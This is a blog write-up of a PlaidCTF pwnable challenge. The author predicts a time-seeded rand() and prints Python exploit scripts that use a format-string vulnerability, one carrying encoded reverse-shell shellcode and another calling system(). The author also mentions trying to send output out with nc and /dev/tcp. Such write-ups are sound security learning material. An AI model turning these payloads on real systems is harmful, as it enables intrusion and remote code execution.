Sunday, April 29, 2012

PlaidCTF - pwnable 99

This writeup is only 99% complete. :P

This challenge came in the form of a libc so file and a binary, so at first I assumed that the libc had some modified/hooked functions so I thought of verifying that.

$ md5sum libc.so.6 
2a7a6578c00738c7dfada70ca1b1a09e  libc.so.6

Searching around gets you this, and you realize its not a modified libc. Reversing the binary, you notice that it asks for a hardcoded password, a name and a guess value which is generated randomly. Hence, the libc file.




The "name" value is associated with a format string vuln as shown in [3]. If we are to get past to that location of the code the "rand" shouldn't be that random.
Some copy-paste-from-IDA moments later :-
struct time_t *tt;
int operate() {
asm(".intel_syntax noprefix\n");
asm("mov ecx, offset tt\n");
asm("mov ecx, [ecx]\n");
asm("mov ecx, [ecx]\n");
asm("mov edx, 0x88888889\n");
asm("mov eax, ecx\n");
asm("imul edx\n");
asm("lea eax, [edx+ecx]\n");
asm("mov edx, eax\n");
asm("sar edx, 5\n");
asm("mov eax, ecx\n");
asm("sar eax, 0x1F\n");
asm("mov ecx, edx\n");
asm("sub ecx, eax\n");
asm("mov eax, ecx\n");
}
int main() {
tt = (struct time_t *)malloc(sizeof(time_t));
time(tt);
int x = operate();
srand(x);
int xx = rand();
printf("%d\n", xx);
}
Set LD_PRELOAD in your shell to point to the provided so file, and run the binary - you notice that the values dont vary that much often. Another little something was that direct paramater access did not work. Here's my ugly sploit, worked like a charm on my VM, got me a reverse shell, wonder why it did not work on the pctf machine. I guessed the challenge machine had PST on it, so I ssh'd into another machine and seems they were on UTC(you have to set the time appropriately on your machine).
#!/usr/bin/python
import struct
import envoy
guess = envoy.run('./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name = struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1b)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.230u%n%.139u%n%.265u%n%.192u%n"
name += "\x90"*20
name += "\xbf\x74\x0a\x79\x60\xdb\xc9\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x0d\x31\x7d\x14\x03\x7d\x14\x83\xc5\x04\x96\xff\x48\xbb\x05\x43\xf8\x51\xab\x29\x98\xfd\x22\x4c\xa9\x7e\xa3\xd4\x5a\x7e\xc9\xe9\x9e\xe6\xa5\xf1\x9d\x80\x66\x83\x43\x26\xee\xcb\xd3\xe6\xb9\x62\x32\x4b\x88\xf5\xee\xd5\xa4\xfa\xa0\xe5\x05\x82\x3e\x08"
print name
print guess
At this point, someone suggested using system and I tried that.
#!/usr/bin/python
import struct
import envoy
guess = envoy.run('./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name = "ls;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
name += struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.116u%n%.68u%n%.65154u%hn"
print name
print guess
Tried doing stuff like ls > nc ip port, ls > /dev/tcp/ip/port, none of that would work. Ran outta time at this point, guess I should have started on this one earlier. I'll just lookout for other writeups :P :D

[edit]
Leetmore's exploit can be found here!
[edit2]
Eindbazen's exploit here!

No comments:

Post a Comment